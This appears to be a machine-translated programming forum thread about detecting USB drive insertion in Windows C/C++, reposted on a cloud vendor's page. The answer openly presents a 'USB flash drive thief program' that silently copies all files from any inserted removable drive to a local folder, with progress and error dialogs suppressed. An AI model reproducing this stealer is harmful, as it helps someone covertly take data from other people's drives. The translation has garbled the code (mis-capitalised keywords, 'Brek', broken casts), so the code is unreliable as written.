How can I detect a USB flash drive or camera inserted into the USB port?

Source: Internet
Author: User

When a USB flash drive or camera is inserted into the USB port, how can the program detect it?
Hey, what the landlord wants is similar to a small program I recently wrote. The following is my simple USB flash drive thief program. I wrote it in SDK mode. You can refer to it and convert it into an MFC code is also very simple:
Case wm_devicechange: // detect USB interface peripherals
Switch (uint) wparam)
{
Case dbt_devicearrival:
// MessageBox (hwnd, "new hardware found !! "," Hello ", mb_ OK );
Shfileopstruct fo; // copy the file to a thread.
Memset (& FO, 0, sizeof (FO ));
Fo. wfunc = fo_copy;
Fo. pfrom = "J: \ *. *"; // assume that disk J is the drive letter of the Mobile Disk.
Fo. PTO = "D: \ file ";
// Copy the entire file to D: \ file. It's tough. You can decide a storage directory by yourself.
Fo. fflags = fof_silent | fof_noerrorui;
// The copy information dialog box is not displayed.
Shfileoperation (& FO );
Break;
Default:
Break;
The following is the basic code for searching the USB drive letter:
......
Char dir [30];
For (char cc = 'a'; CC <= 'Z'; CC ++)
{
Sprintf (Dir, "% C:", CC );
If (getdrivetype (lpctstr) DIR) = drive_removable)
Brek;
// Only one mobile disk drive letter can be found at most. It is easy to implement multiple mobile disks. Think about it yourself .....
}
...........
The above code can also be written as below, and at most one drive letter can be found to move the disk, it is easy to modify it to find multiple drive letters, to findu () pass an array parameter of the cstring type so that it can receive the drive letter:
Cstring findu ()
{
Cstring dir = "";
For (char cc = 'a'; CC <= 'Z'; CC ++)
{
Dir. Format ("% C:", CC );
If (getdrivetype (lpctstr) DIR) = drive_removable)
Return dir;
}
Return dir = "";
}
To check whether the USB flash drive has been removed, the system responds to related messages. Similar examples have been provided in this forum ..........
Http://msdn.microsoft.com/msdnmag/issues/01/11/autoplay/default.aspx
Autoplay in Windows XP: Automatically detect and react to new devices on a system
When you insert a USB disk, the computer will automatically pop up a window to open the list and ask what to do. How can I add my programs to this list and open them with my programs?
D: \ Program Files \ Windows CE tools \ wce500 \ test1 \ include \ emulator \ aygshell. H (68): Error c2061: syntax error: identifier 'ishellpropsheetext'
The solution to this error is in stdxfx. h.
# Include <aygshell. h>
# Include <afxwin. h> // MFC core and standard components
# Include <afxext. h> // MFC extensions
# Include <afxdisp. h> // MFC automation classes
# Include <afxdtctl. h> // MFC support for Internet Explorer 4 common controls
# Ifndef _ afx_no_afxcmn_support
# Include <afxcmn. h> // MFC support for Windows Common controls
# Endif // _ afx_no_afxcmn_support

# Pragma comment (Lib, "aygshell. lib ")

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.